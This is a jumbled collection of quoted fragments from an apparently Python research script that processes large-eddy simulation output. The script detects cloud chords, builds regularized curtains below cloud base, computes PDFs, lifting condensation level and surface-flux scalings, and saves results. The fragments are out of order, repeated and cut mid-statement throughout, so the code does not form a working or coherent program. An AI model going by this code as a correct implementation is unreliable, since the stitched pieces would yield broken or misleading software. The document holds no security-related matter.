"= np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 ch_duration",
"and cloud base height to calculate either w/w*, thl'/thl*, or",
"- (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain =",
"= cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and y is",
"domain height, but spit out a warning if it happens",
"#Now adding the boundary scaling using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord])",
"mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now we simply go",
"cloudy timesteps #As long as the difference to the next",
"= np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else: print('no cloudy columns apparently')",
"profile file') T = file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt =",
"the curtain, default is 1 # chord_max: Maximum number of",
"it at least somewhat general with a flexible variable def",
"of chords. If data_dim_flag=3 it will jump to the y",
"#file_col.close() #The needed cbl height cbl_1d = t_1d*0 #The needed",
"'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to",
"if 1, it scales the output by u/sqrt(u^2+v^2) and flips",
"var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because the vectors don't perfectly align",
"grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var ,it,reg_var)",
"is lower than t_min or higher than t_max seconds it",
"of wind direction (right?) #Similarly, no basedefinition is needed, all",
"= 10 #Index of minimum z_vlvl of the cbl print('looking",
"have a number of values which fulfills cell_min they are",
"different scale_flags added to rotate the curtain to point upwind.",
"just add it on w_3d = np.transpose( w_3d, (0, 2,",
"= np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning reference cloud base where",
"z_idx_base[i] = cl_base[i] #Here the smoother comes into play: #We",
"0 if size_bin_flag==1: N_bins = 12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up",
"= 1e-5 z_min = 10 #Index of minimum z_vlvl of",
"by one to w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y",
"math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am too lazy to pass on",
"else: scaling_factor_prof = 2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0:",
"and interpolation them onto the regularized z axis d_z_tmp =",
"needed, all values are relative to cloud base #Should be",
"closet mean profile # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max",
"cloud base #2019-03-20: added smoother to hopefully avoid impact of",
"ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d =",
"= dx/V_ref print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake",
"[] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx",
"var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif",
"[] #percentile of cloud base chord_w = [] chord_w_up =",
"cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2]",
"next to each other they are always counted as consecutive,",
"function to avoid issues with global and local variables def",
"if they fulfilled cloud criteria, but now I also hard",
",n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid",
"= np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the same thing with the",
"print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1 = ttiimmee.time() if data_dim_flag ==1:",
"get #Small chord lengths with more than t_min which are",
"base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i",
"= cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] =",
"qt_3d = np.transpose(qt_3d, (0, 2, 1)) thl_3d = np.transpose(thl_3d, (0,",
"base after setting it with running average 2: just use",
"time vector we load the wind from the profile data,",
"same #Could be made cleaner later on if scale_flag>0 and",
"- tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because the",
"the sum of up or downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]]",
"cloud ql_min = 1e-5 z_min = 10 #Index of minimum",
"range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col = input_2d_field[:,i] #Regularizing the z",
"imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d",
"= scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to",
"gaps allowed! t_min = 0.0 t_max = 1e9 cell_min =",
"chord_idx_list = [] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns')",
"min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin",
"1: t_gap = 0. #should be pretty strict, no gaps",
"### Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height =",
"np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg])",
"z_idx_base[:] = z_idx_base_default #default version for variable base height if",
"bit overcooked currently as it only works with 3D data",
"save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda",
"first or second half if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else:",
"bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp",
"it #I will try to keep it at least somewhat",
"as panda in ',filename_chord_panda) print(':') print(':') print(':') print(':') print(':') print(':')",
"simplified version for base_smoothing_flag == 2 which gets rid of",
"all values are relative to cloud base #Should be able",
"= (time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2]",
"np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling",
"print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now",
"below #Coming next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This",
"chord_qt_25 = [] chord_qt_75 = [] chord_w_flux = [] #Sum",
"25, special_name='', chord_times = 0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0",
"the same as the file. #Changing 3D output #Default is",
"height to calculate either w/w*, thl'/thl*, or qt'/qt* time_begin =",
"= 10 #Index of minimum z_vlvl of the cbl #z_min",
"data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3 = ttiimmee.time() print('iterable: ',it)",
"only works with 3D data and thus all surface fluxes",
"directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25, special_name='', chord_times = 0, N_it_min=0,",
"it in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 = ttiimmee.time() if data_dim_flag",
"#Hack together the Lifting condensation level LCL qt_pressure = p*qt",
"no clouds are present we pass a very short empty",
"to calculate either w/w*, thl'/thl*, or qt'/qt* time_begin = ttiimmee.time()",
"align var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose() #to get the fake",
"= var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it)",
"timesteps that below to that chordlength #However if the duration",
"abs(scaling_factor) * var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter",
"to calculate dz z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz:",
"pandas as pd import gc import glob import xarray as",
"#fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds",
"total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz) time_prof = file_prof['time'][:] cbl_1d_prof =",
"able to delete 3d fields as they aren't needed anymore,",
"as a chord #and their properties are calculatted immediately t_cloudy_idx",
"idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord",
"= directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql =",
"1: scaling factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx))",
"#want to keep the automatic x and y calculation #Scaling",
"from profile file') T = file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt",
"25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total run",
"- var_prof[it,:]).transpose() #to get the fake time vector we load",
"to anomalies if anomaly flag is used if anomaly_flag==1: #because",
"print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If",
"+= var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp",
"var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else: print('no cloudy columns",
"chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0",
"this, will throw up an error for the mean time.",
"= file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed for",
"dz = z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux",
"we simply go through all cloudy timesteps #As long as",
"ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now",
"date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' n_chords",
"the original time vector, subtracts it by mean time, then",
"= [] chord_qt_star = [] chord_thl = [] chord_thl_25 =",
"print(':') print(':') print(':') return #turned into a function #removed the",
"t_max seconds it isn't #I added an additional constraint that",
"time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d =",
"return #A simple script which calculates a histogram below the",
"with a flexible variable def proc_pdf(reg_var = 'w', date_str='20160611', directory_input",
"= 0 #Index of minimum z_vlvl of the cbl #Flag",
")) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint A =",
"running average 2: just use percentile defined by base_percentile #",
"cbl #Flag clean up if data_dim_flag==1: scale_flag=0 #Creating dictionary to",
"of w below #Coming next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up =",
"curtain, default is 1 # chord_max: Maximum number of chords.",
"horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be needed",
"i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here the",
"them one by one to w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col,",
"to calculate a vector for the lower time resolution of",
"cells always count ##Check if the index of the next",
"1 d_z_tmp = 1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz-",
"if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] +",
"chord_idx_list = [] while t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO",
"file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The needed cbl height cbl_1d =",
"total_surf_thl_flux[tt] #to get anomalies of thl and qt we subtract",
"w, then adds to the sum of up or downdraft",
"data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile = 25,",
"interpolation #I originally used interp2d, tried griddata but it was",
"t_min = 30 t_max = 1200*100 #Made a 100 times",
"u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if",
"counts as the same cloud #As an additional contraint, if",
"= np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid)",
"= '' n_chords = 0 #This now a bit trickier",
"= np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear')",
"= cl_base[i] #Here the smoother comes into play: #We started",
"np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up = 0",
"impact of harsch jumps #2019-03-28: Added simplified version for base_smoothing_flag",
"time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making",
"ql_3d del thl_3d del qt_3d #hopefully this helps gc.collect() #Getting",
"or downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now",
"} #moved to an inner function to avoid issues with",
"ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load the var file, even",
"total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies we subtract the",
"qt'/qt* time_begin = ttiimmee.time() dz = 25.0 #39.0625 #Is recalculated",
"adds a seperate output for each time slice, is needed",
"have to do all the fuckery to turn the 3D",
"chord criteria regaring time #we also added a minimum height",
"determine reference winds',ref_lvl ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it",
"v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if scale_flag==0:",
"the time distance between them. #if the difference is larger",
"= save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda =",
"time_end = ttiimmee.time() print('total run time of proc_chords in minutes:",
"that chordlength #However if the duration of the chordlength is",
"= 0 #for col in filename_column: n_iter = min(n_iter,N_it_max) for",
"reference height ref_lvl = cbl_1d_prof[it] else: #If no clouds are",
"',LCL_index) #Now we either iterate over columns or timesteps if",
"',int(ref_idx)) if scale_flag == 2: #Regularizing the scaling profiles and",
"height, could crash regularization later on, timestep: ',tt) cbl_1d_prof[tt] =",
"u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration)",
"as it is named the same as the file. #Changing",
"that we doable load w_2d or ql_2d var_2d = file_col.variables[reg_var][:]",
"fit model output exactly with not gap possible # directory_input",
"column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d =",
"be able to delete 3d fields as they aren't needed",
"to convert into a curtain # #1D clustering parameters, #set",
"+= 1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it fulfils",
"save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data",
"we have to interpolate 2D onto the rull regularized grid",
"overlap, but I split them in two to keep the",
"and 3/4 of the cloud base cl_base_25_idx = cl_base[ch_idx_l]*0 +",
"else: print('no cloudy columns apparently') var_pdf = var_hist_sum save_string_base =",
"a different method using nans that doesn:t work anymore somehow.",
"lists first, which I will then convert to arrays in",
"#Scaling shouldn't be needed, as all chord properties should be",
"dx/V_ref print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake t",
"that each chord must include at least cell_min cells, because",
"next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This now a",
"if we need scaling_factor_x or y by seeing if we",
"spit out a warning if it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning,",
"either iterate over columns or timesteps if data_dim_flag==1: n_iter =len(filename_column)",
"clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d = np.zeros((nz,1))",
"var_curtain_tmp/boundary_scaling #Finally add it to the mean one and track",
"qt_3d #hopefully this helps gc.collect() #Getting anomalies of thl and",
"variable as long as it is named the same as",
"import numpy as np import math from netCDF4 import Dataset",
"print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end = ttiimmee.time() print('total run",
"alpha = alpha + np.log(rel_hum) dewpoint = (B * alpha)",
"= idx_end_curtain-idx_beg_curtain #If curtain has more than curtain_min cells and",
"onto the regularized z axis d_z_tmp = 1.0/ref_idx nz =",
"= thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d =",
"np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to get the right columns and",
"to w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig,",
"we simply go through all cloudy timesteps and detect chords",
"scaled accordingly #Only called if there are any clouds if",
"profiles of u and v and their scaling u_ref_prof =",
"idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter for n_prof",
"var_prof[tt,:] #because the vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose()",
"filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string =",
"= glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file)",
"data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up', 'w star','thl star','qt star',",
"= 0 n_chord = 0 n_curtain_up = 0 n_curtain_dw =",
"scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling",
"is expected to go a bit beyond -1.5 and 1.5,",
"beyond end of 2d field or the beginning extend before",
"v_ref = file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time",
"existence of cloud z_min = 10 #Index of minimum z_vlvl",
"scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now we simply go through",
"positive or negative w, then adds to the sum of",
"if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c",
"time of proc_chords in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties",
"#Here we have to do all the fuckery to turn",
"w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now added here, #Things",
"surf_flux = np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux =",
"though del w_3d del ql_3d del var_3d gc.collect() #Switching to",
"',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties saved as panda in ',filename_chord_panda)",
"file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof = w2.shape[1]",
"file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref,",
"for the lower time resolution of the profile, #Then latter",
"= t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The needed surface buoyancy flux,",
"d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to",
"minimum z_vlvl of the cbl #z_min = 0 #Index of",
"curtain_min is used # curtain_extra: Regularized chord length before and",
"cell_min cells, because it is possible to get #Small chord",
"Fuck it, will do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length",
"z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am too lazy to",
"connected while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx",
"taken to agree with Lareau if chord_times == 0: t_gap",
"= 120000 cell_min = 3 #Minimal number of cells needed",
"w_3d del ql_3d del thl_3d del qt_3d #hopefully this helps",
",n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg])",
"np.zeros(nt) #Detecting all cloudy cells #Use to have a different",
"w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now",
"value to the full 1d time vec #First loading surface",
"anomaly_flag==1: #because the vectors don't perfectly align var_2d[:,:] = (var_2d.transpose()",
"generating beards #proc_pdf saves pdfs of a variable below cloud",
"save_string = directory_output+ reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf",
"file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof = file_prof[reg_var][:,:]",
"nt = len(cbl_1d) cl_base = np.zeros(nt) #Detecting all cloudy cells",
"the cloud base cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx =",
"from the profile file later on dx = 25.0 date",
"f(t_reg_mid,z_reg_mid) #constant base height version if base_smoothing_flag==2: #Regularizing the z",
"+100 or variance plus 300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To",
"get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords",
"use mix of percentile and cloud base as done my",
"possible # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max = maximum",
"ref_lvl = cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref",
"#Now find c base lower than the max height cbl_cl_idx",
"f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant",
"= dewpoint + 273.15 LCL = 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz)",
"(T - 29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv",
"= file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative,",
"when no clouds are present if scale_flag > 0 and",
"times longer cell_min = 3 #Minimal number of cells needed",
"time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25,",
"cloud base where no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default",
"np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling",
"d_z_tmp = 1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2",
"1 w_var = w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum of LCL",
"z += 1 w_var = w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum",
"= scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling factor_x:",
"= interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid)",
"as the same cloud #As an additional contraint, if the",
"minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing saving with xarray xr_dataset",
"#print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l]))",
"on dx = 25.0 date = date_str #1D clustering parameters",
"count ##Check if the index of the next cloudy cell",
"processing #Just grabbing this to calculate dz z_prof = file_prof['z'][:]",
"interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig)",
"of the cbl #Flag clean up if data_dim_flag==1: scale_flag=0 #Creating",
"# base_percentile: percentile used to find chordlength bottom # chord_times:",
"print('t_1d',t_1d) #Load the var file, even if means that we",
"= t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it] time2",
"nothing, if 1, it scales the output by u/sqrt(u^2+v^2) and",
"',it) print('n_chords: ',n_chords) print('number of time points included: ',len(cbl_cl_idx)) #Does",
"1: #a new reference level is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)]",
"ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d)",
"there are any clouds if boundary_scaling_flag == 1 and len(cbl_cl_idx)>1:",
"in the column output, or for any 3D variable as",
"possible # anomaly_flag: 0 use reg_var as it is. 1",
"into a curtain # #1D clustering parameters, #set super strict",
"only calculate curtains when at least curtain_min is used #",
